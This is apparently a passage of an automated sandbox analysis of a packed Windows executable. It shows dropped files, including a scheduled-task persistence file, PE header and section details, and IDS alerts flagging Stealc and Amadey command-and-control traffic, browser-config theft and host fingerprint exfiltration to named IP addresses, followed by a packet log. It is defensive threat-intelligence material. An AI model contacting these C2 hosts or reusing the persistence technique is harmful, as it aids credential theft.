Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@..........................@M..........@.................................W...k.......H...................D.L...............................L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...mqhmzwsw.....P2.....................@...pyhwalqc......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsJEGDGIIJJE.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.442102546796303
Encrypted:	false
SSDEEP:	6:vbVLXUhXUEZ+lX1CGdKUe6tE9+AQy0lBuut0:jVb4Q1CGAFD9+nVB3t0
MD5:	0543EE9D4AFE944899C257785FCF273A
SHA1:	D10286A0BAB24C7EA4E7D729D42E752197574A8B
SHA-256:	25C1A01A7A0CE0C57BA22B8108524F3F31D48A4D80EFBDA0D7B3FB4D4B3AC859
SHA-512:	7765A1D7E6B25DA5BD1566352113B7EF674C2780FA03633FB45C4088D85369867252B6AFF60F8BC6F1515CF684393F7E36573394910F01F2413517FF55EC6F38
Malicious:	false
Preview:	.....t..+>.E..>:...F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (771)
Category:	downloaded
Size (bytes):	776
Entropy (8bit):	5.139748618960883
Encrypted:	false
SSDEEP:	24:6VG6WBHslgT9lCuABuoB7HHHHHHHYqmffffffo:6VCKlgZ01BuSEqmffffffo
MD5:	149870271FE13513D4A9D8037B738390
SHA1:	2C0B7A381237462454F7A9BEC4D977682451663F
SHA-256:	69916D4DEE77DC79509A0EF083188BE3E67FE8A65830B1ED0F434A6DF9FAB50C
SHA-512:	194B88D40A2E5EE22841B255FCCB6184125E8A815F2F0712E940602E22EBE75EE84D141B6FE4522B31372BE752189269A8B583BA6CED7E4A5D42A71A8F11B99F
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["lakers rui hachimura","aurora borealis northern lights forecast","alex cross season 2","deals black friday","powerball jackpot","paul skenes baseball card","red one movie box office","november 2024 supermoon photos"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133042
Entropy (8bit):	5.434835737955643
Encrypted:	false
SSDEEP:	3072:fqkPdsBJT7bKwkztS6STFSz1nrmUSnXYK02i6o:fJdUW5c5Sz1nKUSnoK08o
MD5:	E0CC17B2A0F6010D83710215915DA847
SHA1:	0570D7C03DA610061FEE89B8CCC01E2AF3CDCF0C
SHA-256:	EE1D3F0B6880E46B0265578E32E49F0938A01523521DE13F0E2798D1B55C2198
SHA-512:	3A69B67C4BF3DAFD2DC047CC0D8A2C50A60AE1DD239381AD2A4EBEFCC58700178643631F5AC895EC56B19A0CDF0DB090419DDD34D63ADC1684C47B8CF35E1CA1
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	19
Entropy (8bit):	3.6818808028034042
Encrypted:	false
SSDEEP:	3:VQRWN:VQRWN
MD5:	9FAE2B6737B98261777262B14B586F28
SHA1:	79C894898B2CED39335EB0003C18B27AA8C6DDCD
SHA-256:	F55F6B26E77DF6647E544AE5B45892DCEA380B7A6D2BFAA1E023EA112CE81E73
SHA-512:	29CB8E5462B15488B0C6D5FC1673E273FB47841E9C76A4AA5415CA93CEA31B87052BBA511680F2BC9E6543A29F1BBFBA9D06FCC08F5C65BEB115EE7A9E5EFF36
Malicious:	false
URL:	https://www.google.com/async/ddljson?async=ntp:2
Preview:	)]}'.{"ddljson":{}}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944221280897061
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'772'544 bytes
MD5:	933db1979eee125501d5041ff0a81100
SHA1:	8c4e616530fc14b0b93070987dfffc519ec46fc2
SHA256:	cb2359039ddc3d53fdc47eaef40afeb7e4bc7895b90d15586a4ce5a9aa00452c
SHA512:	f5f4c5bb33265ba8f0faa5940f8f48443d9f08fbc5cfc365131428ac6f625ec190f8bcaf6c6ffb941ea90bcb117a0424685919b9b6d04326e2028a572fc374a3
SSDEEP:	49152:tS9iI1XEG34aqdJHW3gE4jZzue4o+2M0rGa:tShd7v7gE4jdDf+2M0
TLSH:	038533C9264EED37D8CFCE317A646B29A821B994367B2275737C01E240D39099FD81E7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa7f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F64E0F1C3FAh
pminsw mm3, qword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	de810678ee73d466634d0b26a5a0d7de	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	8ec757da6a43d557cda0b1043d2150aa	False	0.583984375	data	4.566234437315894	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x29b000	0x200	6e57232b4073efeb7b0a88a324ae1dcf	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qdtoojti	0x4e7000	0x197000	0x196e00	42b8fa98e701a375487a2a1f88a594b6	False	0.994729262672811	data	7.953391491015752	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fteyogrp	0x67e000	0x1000	0x400	b403864c8bef2dcda75ac469a59a5354	False	0.75390625	data	6.084327392458801	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x67f000	0x3000	0x2200	3d8f958ded4e2efc85d79dbcd247562c	False	0.05962775735294118	DOS executable (COM)	0.7377150126587416	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x67dca4	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T00:27:23.827389+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49741	185.215.113.206	80	TCP
2024-11-18T00:27:24.119628+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49741	185.215.113.206	80	TCP
2024-11-18T00:27:24.126094+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49741	TCP
2024-11-18T00:27:24.398353+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49741	185.215.113.206	80	TCP
2024-11-18T00:27:24.405743+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49741	TCP
2024-11-18T00:27:25.494368+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49741	185.215.113.206	80	TCP
2024-11-18T00:27:26.066918+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49741	185.215.113.206	80	TCP
2024-11-18T00:27:49.396324+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-18T00:27:52.766515+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-18T00:27:54.718555+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-18T00:27:55.769180+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-18T00:27:57.925220+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-18T00:27:58.474286+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49889	185.215.113.206	80	TCP
2024-11-18T00:28:02.597646+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50055	185.215.113.16	80	TCP
2024-11-18T00:29:06.089689+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50117	185.215.113.43	80	TCP
2024-11-18T00:29:09.455765+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50119	31.41.244.11	80	TCP
2024-11-18T00:29:18.776054+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50118	TCP
2024-11-18T00:29:19.699603+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50121	185.215.113.43	80	TCP
2024-11-18T00:29:20.996667+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50123	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 00:27:12.136143923 CET	443	49711	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:12.136301041 CET	49711	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:12.142338991 CET	49711	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:12.142355919 CET	443	49711	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:12.142790079 CET	443	49711	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:12.144855976 CET	49711	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:12.144923925 CET	49711	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:12.144932032 CET	443	49711	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:12.145104885 CET	49711	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:12.191337109 CET	443	49711	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:12.395658016 CET	443	49711	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:12.396152020 CET	49711	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:12.396182060 CET	443	49711	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:12.396205902 CET	49711	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:12.396241903 CET	49711	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:14.574723005 CET	49674	443	192.168.2.6	173.222.162.64
Nov 18, 2024 00:27:14.574729919 CET	49673	443	192.168.2.6	173.222.162.64
Nov 18, 2024 00:27:14.855999947 CET	49672	443	192.168.2.6	173.222.162.64
Nov 18, 2024 00:27:15.237632990 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:15.237689018 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:15.237767935 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:15.238064051 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:15.238094091 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:15.980920076 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:15.981210947 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:15.984146118 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:15.984163046 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:15.984576941 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:15.993369102 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.035336971 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.237658978 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.237724066 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.237770081 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.237895012 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.237941027 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.237962008 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.238003969 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.354599953 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.354665995 CET	443	49712	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:16.354810953 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.354811907 CET	49712	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:16.354852915 CET	443	49712	13.107.246.45	192.168.2.6
